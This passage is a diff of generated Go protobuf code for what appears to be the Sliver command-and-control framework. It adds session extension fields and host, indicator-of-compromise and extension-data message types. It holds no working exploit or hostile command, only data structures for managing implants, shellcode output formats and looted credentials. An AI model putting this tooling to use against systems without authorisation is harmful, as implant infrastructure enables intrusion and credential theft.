ActiveC2 string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
|
||||
Version string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
|
||||
Evasion bool `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
|
||||
IsDead bool `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
|
||||
ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
|
||||
ProxyURL string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
|
||||
PollInterval uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
|
||||
Burned bool `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
|
||||
Extensions []string `protobuf:"bytes,23,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
|
||||
}
|
||||
|
||||
func (x *Session) Reset() {
|
||||
@@ -590,6 +591,13 @@ func (x *Session) GetBurned() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (x *Session) GetExtensions() []string {
|
||||
if x != nil {
|
||||
return x.Extensions
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type ImplantC2 struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -2622,10 +2630,11 @@ type UpdateSession struct {
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
SessionID uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
ReconnectInterval int32 `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
|
||||
PollInterval int32 `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
|
||||
SessionID uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
ReconnectInterval int32 `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
|
||||
PollInterval int32 `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
|
||||
Extensions []string `protobuf:"bytes,5,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
|
||||
}
|
||||
|
||||
func (x *UpdateSession) Reset() {
|
||||
@@ -2688,6 +2697,13 @@ func (x *UpdateSession) GetPollInterval() int32 {
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *UpdateSession) GetExtensions() []string {
|
||||
if x != nil {
|
||||
return x.Extensions
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type GenerateReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -4461,6 +4477,243 @@ func (x *AllLoot) GetLoot() []*Loot {
|
||||
return nil
|
||||
}
|
||||
|
||||
// [ Hosts ] ----------------------------------------
|
||||
type IOC struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Path string `protobuf:"bytes,1,opt,name=Path,proto3" json:"Path,omitempty"`
|
||||
FileHash string `protobuf:"bytes,2,opt,name=FileHash,proto3" json:"FileHash,omitempty"`
|
||||
ID string `protobuf:"bytes,3,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
}
|
||||
|
||||
func (x *IOC) Reset() {
|
||||
*x = IOC{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[61]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *IOC) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*IOC) ProtoMessage() {}
|
||||
|
||||
func (x *IOC) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[61]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use IOC.ProtoReflect.Descriptor instead.
|
||||
func (*IOC) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{61}
|
||||
}
|
||||
|
||||
func (x *IOC) GetPath() string {
|
||||
if x != nil {
|
||||
return x.Path
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *IOC) GetFileHash() string {
|
||||
if x != nil {
|
||||
return x.FileHash
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *IOC) GetID() string {
|
||||
if x != nil {
|
||||
return x.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type ExtensionData struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Output string `protobuf:"bytes,1,opt,name=Output,proto3" json:"Output,omitempty"`
|
||||
}
|
||||
|
||||
func (x *ExtensionData) Reset() {
|
||||
*x = ExtensionData{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[62]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *ExtensionData) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*ExtensionData) ProtoMessage() {}
|
||||
|
||||
func (x *ExtensionData) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[62]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead.
|
||||
func (*ExtensionData) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{62}
|
||||
}
|
||||
|
||||
func (x *ExtensionData) GetOutput() string {
|
||||
if x != nil {
|
||||
return x.Output
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type Host struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Hostname string `protobuf:"bytes,1,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
|
||||
HostUUID string `protobuf:"bytes,2,opt,name=HostUUID,proto3" json:"HostUUID,omitempty"`
|
||||
OSVersion string `protobuf:"bytes,3,opt,name=OSVersion,proto3" json:"OSVersion,omitempty"`
|
||||
IOCs []*IOC `protobuf:"bytes,4,rep,name=IOCs,proto3" json:"IOCs,omitempty"`
|
||||
ExtensionData map[string]*ExtensionData `protobuf:"bytes,5,rep,name=ExtensionData,proto3" json:"ExtensionData,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
||||
}
|
||||
|
||||
func (x *Host) Reset() {
|
||||
*x = Host{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[63]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *Host) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*Host) ProtoMessage() {}
|
||||
|
||||
func (x *Host) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[63]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use Host.ProtoReflect.Descriptor instead.
|
||||
func (*Host) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{63}
|
||||
}
|
||||
|
||||
func (x *Host) GetHostname() string {
|
||||
if x != nil {
|
||||
return x.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *Host) GetHostUUID() string {
|
||||
if x != nil {
|
||||
return x.HostUUID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *Host) GetOSVersion() string {
|
||||
if x != nil {
|
||||
return x.OSVersion
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *Host) GetIOCs() []*IOC {
|
||||
if x != nil {
|
||||
return x.IOCs
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *Host) GetExtensionData() map[string]*ExtensionData {
|
||||
if x != nil {
|
||||
return x.ExtensionData
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type AllHosts struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Hosts []*Host `protobuf:"bytes,1,rep,name=Hosts,proto3" json:"Hosts,omitempty"`
|
||||
}
|
||||
|
||||
func (x *AllHosts) Reset() {
|
||||
*x = AllHosts{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[64]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *AllHosts) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*AllHosts) ProtoMessage() {}
|
||||
|
||||
func (x *AllHosts) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[64]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use AllHosts.ProtoReflect.Descriptor instead.
|
||||
func (*AllHosts) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{64}
|
||||
}
|
||||
|
||||
func (x *AllHosts) GetHosts() []*Host {
|
||||
if x != nil {
|
||||
return x.Hosts
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var File_clientpb_client_proto protoreflect.FileDescriptor
|
||||
|
||||
var file_clientpb_client_proto_rawDesc = []byte{
|
||||
@@ -4479,7 +4732,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
|
||||
0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0xc3, 0x04, 0x0a, 0x07, 0x53, 0x65, 0x73,
|
||||
0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0xe3, 0x04, 0x0a, 0x07, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
|
||||
0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74,
|
||||
@@ -4515,7 +4768,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x52, 0x4c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76,
|
||||
0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e,
|
||||
0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64,
|
||||
0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x22, 0x53,
|
||||
0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e,
|
||||
0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03,
|
||||
0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x53,
|
||||
0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50,
|
||||
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50,
|
||||
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
|
||||
@@ -4753,7 +5008,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08,
|
||||
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
|
||||
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb3, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
|
||||
0x61, 0x74, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65,
|
||||
0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53,
|
||||
0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
|
||||
@@ -4762,7 +5017,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65,
|
||||
0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f,
|
||||
0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05,
|
||||
0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x22, 0x3e,
|
||||
0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1e,
|
||||
0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x03,
|
||||
0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3e,
|
||||
0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a,
|
||||
0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
|
||||
@@ -4966,29 +5223,58 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c,
|
||||
0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03,
|
||||
0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f,
|
||||
0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70,
|
||||
0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52,
|
||||
0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c,
|
||||
0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55,
|
||||
0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49,
|
||||
0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08,
|
||||
0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50,
|
||||
0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12,
|
||||
0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13,
|
||||
0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
|
||||
0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61,
|
||||
0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44,
|
||||
0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52,
|
||||
0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41,
|
||||
0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45,
|
||||
0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b,
|
||||
0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42,
|
||||
0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10,
|
||||
0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f,
|
||||
0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12,
|
||||
0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50,
|
||||
0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18,
|
||||
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12,
|
||||
0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22,
|
||||
0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61,
|
||||
0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xa3, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73,
|
||||
0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a,
|
||||
0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
|
||||
0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56,
|
||||
0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53,
|
||||
0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18,
|
||||
0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78,
|
||||
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28,
|
||||
0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73,
|
||||
0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45,
|
||||
0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
|
||||
0x61, 0x74, 0x61, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79,
|
||||
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76,
|
||||
0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
|
||||
0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30,
|
||||
0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f,
|
||||
0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
|
||||
0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
|
||||
0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00,
|
||||
0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12,
|
||||
0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12,
|
||||
0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d,
|
||||
0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a,
|
||||
0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01,
|
||||
0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c,
|
||||
0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f,
|
||||
